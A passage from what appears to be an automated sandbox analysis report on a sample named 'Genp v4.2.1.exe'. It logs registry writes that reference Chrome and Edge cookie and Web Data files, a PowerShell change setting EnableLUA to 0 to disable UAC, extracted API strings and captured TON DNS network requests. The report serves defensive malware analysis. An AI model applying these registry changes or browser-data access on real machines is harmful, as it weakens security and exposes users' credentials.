"C1182AA85129DF3F2198F687DC017C93B01ACFC7BD8B8C66A739E82D008FFED100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "F2BCDCC7264E546E8C2652610E50040DF81E47E33C93B5A9FC94815F0EE20D8B00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "49F1242D98990C2A83A7320BC096E1F9F38FF6BC10DBD6267764FB8ADEEE125200") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "F78B5EB108B85590636B5A88B74440CC557E1CFEE84B9E9B921A6711E765F2CB00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "A6838E16750AA63E1C0A63D3AEBD7B6E6D0233274E8695D86E5F9F12467E860F00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "9920151ADF472C34A01C0BD7FD86FF1879E00D2249F873770D50BB6FC1E9282700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "D48C3E6BA3968B2B682D07B44E5150A4CEE6A94EC86BC65DCADB29E179CE850F00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "47F9A19F1EC9ABF8D4F9DF96966200DACDB870C35850EB7BAB80356B3F4CEE4B00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "902A8BA0D2165C586A5DFDCACEAA1126D63078E1306C66C549F81033862C959600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "41853ECC7693BB50C0855BEB35BB92799F1EDB2C7F349C3882A252FAABD011F700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "u$Q ]") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "9AF9E2A962B4080C01CD06B36FD43D873884AAEE74FA210AB0F6224ECDD3E53400") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "A868477108400775EEDD0BDF6A00BCC76681700DB1615F73758D1861229189C500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "F7077EAD9964AEF805E7087CB5710F26E1E78A3A5ABD4B47D5F3F87E700C8F8E00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "8FD2C2E4FE060DFBDA3BE20F301414128807937C638CC9BAC20E2B271E94151500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "D921A6976BD3E85218CCF913545A23152DF3918144364AF83C5DA9B5CC9F925A00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "5DB03E43C331A340CCD8680AF553586225A8A213C9447F480FE71B7DEDBAA70B00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "9012DEE0AC1E871B68BD1A59532031F715F0733F1D0AD8957B660A8ADD07013F00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "4400BE82E05B7BD114DB7C1EEED7EEDE6037BAE83ECF0155E71438F957D2D9EB00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "1F76FB3782095B01352ABC8E6B69C848DFE7B2EE85C5A456CD22803536EAA70C00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "CC64A54C97A9B7B5367467A00BAEF88ED35AE8CC6E3038D02896DB54846DA57E00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "37FBCE18B38A4C5C502D996A5887AE67EA6DF3C5D895D9374223F1C795D1838500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "0E8F1BE8CC02CBFABB78D7BBED7A0C4C7FA41294CF54AE074DA6E6D7ED5C88B100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "239C6A601800EDE71B2915752362D3A66E934977444AD0FD2749A028903DAC0600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "4FC9B729D8AC1BCACF50238574F45EB8D08FBC814EF14717D5FE53DCC7E74D9D00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "EBB6BBD9BDD367E5F6F19881F235856E23C7EA73C9E6E9588BA6FE520A130E3E00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "A0EA1C681C26DF595F303A08AA62A4C081C1FBCA711A1D28DAFC766C64F18A7400") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "D8B09DB9F8E60B493D19722D83F874B5BF76821995941093760B8C06F3A3CF0200") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "6010D58DBA198EA3F6E9A8A9B879456E57AB164F2A3C5ACB68A0B19120954CCB00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "C00D52910DE412564054A8F2F2EEC0347D881BD919F332A3A4D1FD72C7C521B600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "79FE691857FB1ED87CFFCD93AED9012AF1FDF1AC15F7CA2E0D2E03229E23393100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "E2D9DEE5B9F724C70EE95F7FDB70511DC8B26E7D43C3E1478CAAA25A5697231500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "19048BE139A5195E393A0C75A3A2A1377A7698C44FD37A3D2E2F2819FCADEDB700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "37A01F8EBE877905C358301E20768953377081864E588B9FB99DEF5388F7AD7A00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "97807AFCEB925271E0FEFBD3B813FE034B89FDDFFB192DA2751CB6859C6C281300") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "277C8AF4820FAEFCCB84E7CE0B2A02CE68EFC4D99E7FC5C5086AA73C5F6FC2BE00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "D31E7C17E18C93C63CCA92C1223FED43EBF020D2CC38A6BFBE22887A4B6B5D9800") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "FEC05C37F4AA4D67E6191682B2B3747D62B919BC6310334DF66130743D2AE21000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "89C39C0E3B54DA223CA429D30244D305ADDEB74E3B064E4CD53109EA59C12FBA00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "/cG") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "2B34C911415602F25B32CED63FF6E1F242AE1734D2D7B3B189D34ACFC98EB0F100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "58018E4DECBE7AD70B50F463F59BC2BABB5239F853E214A5107BE6F7107345F300") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "8CED6C0644B68C81632EA47C33CA83393072AA6DACE0796B38935D6335AEF8F600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "|ulp0") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "1EF5BCF2875C476ACE14B7768AA7BFCBC6B7AA7AD5EE000659B50C91B88A73A800") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "C40324EF31FAEEA537C0A042258DB55ECB50848FA6306334C3631A3CDA75CBC500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "27C1F97C7FA0426B9747A0E265B8AB87E165C7AC901AA0A25E939CC412A4962600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "7121A0DC468A6B74BC0582D6C97710D4BDBDD9C6DFBD53208438DFFF946C8E2B00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "921722290BAF7F27990C4EF2964A42EEF16F0FDE7DD24A312D0F14639597AE4700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "CDABCAD1560EBFCEA8E3A61B33171260A113FF35C97BBBF65B77C444CF10483300") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "8FBBA5AD489D5B46F5BE92AB19E40EDBCF724A0D59473E6421014E7F702FED5200") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "955CBD4BA7267156B365D57BF9A72C998342F88F6A62760DD75261EB089C0AA600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "4070F9C28263CA0534EC28318001649560993F5C7615F70A1F467BF1D7F6496C00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "D13A7FBB8AD3AA6AE3A98D77F9A08710139F31D3D4C2593E6B6D5F0B788656B000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "CA6A9D6142FBE9342BBFBCC44817070DAEE96175FB7FEA08221C6E936619F03F00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "110D23A4D42ECD44BB1DC619BB0828FBF8EA7F15B696FF228B7207A25C564D8E00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "A7CE2D2B9B2732E5CC12E971A1F49B2B75A85C0315BEB52604F302BDA60B9EB400") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "896E4FF3B988D52A6DA0FC7A6819BD22F55C3D7C3B23738905F799FA00F46EF700") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "36E2837142B8E38092A6A6A350905D651EF79D3C2B1506AC38E8A67403B5732900") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "C000B9F85ED29C04E7E78BE0C939527E3AB5537FD35A4C63CA569F8C16DBE25A00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "B51E7056C9D0D7832FE762E3370D2591D04BB26E098EE8BECB1C035C7DDCF0AF00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "1EF74D997561D7047F7C362B0CC1E1BAB8B1244113B0CDD59F1E6779246AB45E00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "5B1EE419C225F29D98B2B64BA7315D7DEE57D18197A441903D17E6814E29486000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "186280878EFE82F4F7CEA03B0AEE86543DB597C793A24D2878647AD4C40B8B9500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "4730D583466E45F46810EAC261C4753CB0CFE2302EA26FB3638658CB7A93F9F300") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "579A3F929292C7786DE4A52E66DDDE379C45E326329A9BFEFAAC826C4648815D00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "2ADDF4E1FC564A7A66FBCF7FD674308BC368C87B36CF6C5CA623FAD0641EA9F000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "33D3356692FA97778C4BF96B16603E71DE71D110C493DF632A69A96958DCC81200") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "<[];") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "74BBD56F64C793D386EB7476A4ADCA7E57B03F969DA9AFEDAD5CD91241FA418800") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "702FDC477C92BD43A3E594CC2A5EB086C23E0857868980341E69371F88086EA600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "D4B83BD53799FD685013E670521F4C3198B0CACBE080F550DDF1A0D4FB8361EF00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "8D55ED9F79680BD3EFA242EAFA94A021548A5E178E09B2543740FBADB190868100") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "5CD93039954AB368EE8595FBA33B73C125BE1994684059737730751F47EB898600") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "1CB5E7F532D053CE1F752A4A9A7F62A56736580DA5D91FF652CDD22422B8432200") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "DDD79668BFE3F84B46779DAB0C7A5E387BB45EE3073CAD88A191B3E3455E2BE000") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "TS>") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "CDFB93D596F3E8A64FD33A01849486DE80BDB31704453696A7546B67C997406900") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "72D58036AF65EF626AEA83CB51D0150AA1EC81E9706C96EA430F57BE74A43D3200") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "0EBAB6AD6069B94F8A1463079150A7997FB20D701861453CFAB2BB4819C6B35800") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "BA22AFA55AF2255D3E5A0E92FBB5669D8D0967FDFDE6F218FB27DA78A6E0977500") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "16AAE778E217EBC5C00D4F36F5692E7879B87FA99F2C75BF47982CE610FB9AAD00") "OSPPSVC.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "0DA08CBD9EBEB644CA0F03AD7872D1FAC591B552A6782EB0DDE66C82ADA2658F00") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM"; Key: "ENABLELUA"; Value: "0000000000")5a:T9b5,Found string "FlsAlloc" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "FlsFree" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "InitializeCriticalSectionEx" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "CorExitProcess" (Source: Genp v4.2.1.exe, API is part of module: CLR.DLL) Found string "AreFileApisANSI" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "CompareStringEx" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "GetDateFormatEx" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "GetTimeFormatEx" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "LCMapStringEx" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "RoInitialize" (Source: Genp v4.2.1.exe, API is part of module: COMBASE.DLL) Found string "RoUninitialize" (Source: Genp v4.2.1.exe, API is part of module: COMBASE.DLL) Found string "AppPolicyGetProcessTerminationMethod" (Source: Genp v4.2.1.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "AppPolicyGetThreadInitializationType" (Source: Genp v4.2.1.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "log10" (Source: Genp v4.2.1.exe, API is part of module: UCRTBASE_CLR0400.DLL) Found string "GetNativeSystemInfo" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "Wow64RevertWow64FsRedirection" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "Wow64DisableWow64FsRedirection" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "DllGetClassObject" (Source: Genp v4.2.1.exe, API is part of module: SHCORE.DLL) Found string "GetModuleHandleExW" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "GetSystemWow64DirectoryW" (Source: Genp v4.2.1.exe, API is part of module: KERNELBASE.DLL) Found string "RegDeleteKeyExW" (Source: Genp v4.2.1.exe, API is part of module: ADVAPI32.DLL) Found string "GetFileVersionInfoSizeW" (Source: Genp v4.2.1.exe, API is part of module: VERSION.DLL)5b:T2137,"POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:23 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401964.940222 VS0 VE1 X-Served-By: cache-lax-kwhp1940045-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json 